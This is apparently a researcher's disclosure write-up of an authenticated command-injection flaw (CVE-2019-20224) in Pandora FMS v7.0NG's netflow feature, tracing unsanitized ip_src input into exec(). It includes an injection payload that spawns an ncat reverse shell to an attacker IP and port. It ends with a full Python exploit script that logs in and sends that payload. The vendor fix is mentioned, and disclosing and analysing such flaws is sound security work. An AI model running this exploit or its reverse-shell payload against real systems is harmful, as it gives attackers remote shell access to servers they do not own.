Summary about Pandora
Pandora FMS is a monitoring software for IT infrastructure management. It includes network equipment, Windows and Unix servers, virtual infrastructure and all different kinds of applications. Pandora FMS has a large amount of features, making it a new generation software which covers all the monitoring issues that your organization may have.

About the Exploit
The vulnerability stems from analyzing nested functions. When injecting malicious input handling IP addresses to generate graphs, an authenticated attacker can exploit the system by sending a crafted request containing the payload to the netflow_get_stats function in functions_netflow.php. This function calls netflow_get_command to generate the required command, and finally netflow_get_filter_arguments parses the input before passing it to the exec function at line #648.
The exploitation chain follows this path:
- Request reaches
netflow_get_statsfunction - This calls
netflow_get_commandto construct the required command netflow_get_filter_argumentsparses and handles the final input- Parsed data passes to the
execfunction (line #648 innetflow_get_stats)
I used a Python script to hunt for RCE vulnerabilities and identified functions_netflow.php as the starting point.
Code Analysis
netflow_get_stats Function
function netflow_get_stats ($start_date, $end_date, $filter, $aggregate, $max, $unit, $connection_name = '', $address_resolution = false) {
global $config, $nfdump_date_format;
// Requesting remote data
if (defined ('METACONSOLE') && $connection_name != '') {
$data = metaconsole_call_remote_api ($connection_name, 'netflow_get_stats', "$start_date|$end_date|" . base64_encode(json_encode($filter)) . "|$aggregate|$max|$unit|" . (int)$address_resolution);
return json_decode ($data, true);
}
// Get the command to call nfdump
$command = netflow_get_command ($filter);
// Execute nfdump
$command .= " -o csv -q -n $max -s $aggregate/bytes -t " .date($nfdump_date_format, $start_date).'-'.date($nfdump_date_format, $end_date);
exec($command, $string);
if (! is_array($string)) {
return array ();
}
At line #648, the $command variable is passed to the exec() function. This variable is constructed by calling netflow_get_command(), which passes the filter parameter.
netflow_get_command Function
function netflow_get_command ($filter) {
global $config;
// Build command
$command = io_safe_output ($config['netflow_nfdump']) . ' -N';
// Netflow data path
if (isset($config['netflow_path']) && $config['netflow_path'] != '') {
$command .= ' -R. -M '.$config['netflow_path'];
}
// Filter options
$command .= netflow_get_filter_arguments ($filter);
return $command;
}
The final command concatenates configuration values at line #900 with output from netflow_get_filter_arguments() at line #904.
netflow_get_filter_arguments Function
function netflow_get_filter_arguments ($filter) {
// Advanced filter
$filter_args = '';
if ($filter['advanced_filter'] != '') {
$filter_args = preg_replace('/[\"\r\n]/','', io_safe_output ($filter['advanced_filter']));
return ' "(' . $filter_args . ')"';
}
if ($filter['router_ip'] != "") {
$filter_args .=' "(router ip ' . $filter['router_ip'] . ')';
}
// Normal filter
if ($filter['ip_dst'] != '') {
$filter_args .= ' "(';
$val_ipdst = explode(',', io_safe_output ($filter['ip_dst']));
for ($i = 0; $i < count ($val_ipdst); $i++) {
if ($i > 0) {
$filter_args .= ' or ';
}
if (netflow_is_net ($val_ipdst[$i]) == 0) {
$filter_args .= 'dst ip '.$val_ipdst[$i];
}
else {
$filter_args .= 'dst net '.$val_ipdst[$i];
}
}
$filter_args .= ')';
}
if ($filter['ip_src'] != '') {
if ($filter_args == '') {
$filter_args .= ' "(';
}
else {
$filter_args .= ' and (';
}
$val_ipsrc = explode(',', io_safe_output ($filter['ip_src']));
for ($i = 0; $i < count ($val_ipsrc); $i++) {
if ($i > 0) {
$filter_args .= ' or ';
}
if (netflow_is_net ($val_ipsrc[$i]) == 0) {
$filter_args .= 'src ip '.$val_ipsrc[$i];
}
else {
$filter_args .= 'src net '.$val_ipsrc[$i];
}
}
$filter_args .= ')';
The code constructs formatted strings based on filter type. The $filter_args variable contains the processed ip_src input after type verification using the netflow_is_net function. At line #959, the input is compared to determine handling as IP or network, but the payload is concatenated regardless between parentheses.
netflow_is_net Function
/**
* Returns 1 if the given address is a network address.
*
* @param string address Host or network address.
*
* @return 1 if the address is a network address, 0 otherwise.
*/
function netflow_is_net ($address) {
if (strpos ($address, '/') !== FALSE) {
return 1;
}
return 0;
}
This function checks for the “/” character presence to distinguish between individual IP addresses and network ranges. The validation only determines formatting between “src ip” versus “src net” concatenation – it does not prevent injection.
Testing and Validation
I added an echo statement to verify how the payload is being handled:

After sending the request with the SRC IP value:

The vulnerable page is accessible at: http://host/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0
The filter_args result returns wrapped in parentheses: (our payload here)
Further analysis printing the complete $command variable:

Produced output:

Exploitation
To escape the filter and inject commands, the payload format is:
";our payload here #
The double quote escapes the command string, the semicolon injects the new command, and the hash comments out the remaining syntax.
Testing with ncat reverse shell:
";ncat -e /bin/bash 192.168.178.1 1337 #
Results:

This successfully bypassed the command execution restrictions. URL encoding was applied to transmit the payload correctly.
Exploit Code
#!/usr/bin/python3
# Exploit Title: Pandora v7.0NG Remote Code Execution
# Date: 14/11/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2019-20224
# Vendor Homepage: https://pandorafms.org/
# Software link: https://pandorafms.org/features/free-download-monitoring-software/
# Version: v7.0NG
# Tested on: CentOS 7.3 / PHP 5.4.16
import requests
import sys
if len(sys.argv) != 6:
print("[+] Usage : ./exploit.py target username password ip port")
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = int(sys.argv[5])
request = requests.session()
login_info = {
"nick": username,
"pass": password,
"login_button": "Login"
}
login_request = request.post(
target+"/pandora_console/index.php?login=1",
login_info,
verify=False,
allow_redirects=True
)
resp = login_request.text
if "User not found in database" in resp:
print("[-] Login Failed")
exit()
else:
print("[+] Logged In Successfully")
print("[+] Sending crafted graph request ..")
body_request = {
"date": "0",
"time": "0",
"period": "0",
"interval_length": "0",
"chart_type": "netflow_area",
"max_aggregates": "1",
"address_resolution": "0",
"name": "0",
"assign_group": "0",
"filter_type": "0",
"filter_id": "0",
"filter_selected": "0",
"ip_dst": "0",
"ip_src": '";ncat -e /bin/bash {0} {1} #'.format(ip, port),
"draw_button": "Draw"
}
draw_url = target + "/pandora_console/index.php?sec=netf&sec2=operation/netflow/nf_live_view&pure=0"
print("[+] Check your netcat ;)")
request.post(draw_url, body_request)

The vendor was notified and issued a fix for this vulnerability.